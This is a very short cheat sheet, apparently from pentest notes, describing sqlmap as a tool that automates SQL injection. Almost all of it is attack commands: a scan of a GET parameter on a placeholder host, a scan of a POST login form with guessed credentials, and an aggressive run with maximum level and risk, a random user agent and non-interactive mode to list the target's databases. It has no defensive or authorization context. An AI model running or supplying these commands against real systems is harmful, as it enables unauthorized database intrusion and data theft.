This is a tool which automates SQL injection tasks
sqlmap -u "http://target.com/page.php?id=1"
POST request :
sqlmap -u "http://target.com/login.php" --data="username=admin&password=1234"
sqlmap -u "http://target.com/page.php?id=1" --random-agent --batch --level=5 --risk=3 --dbs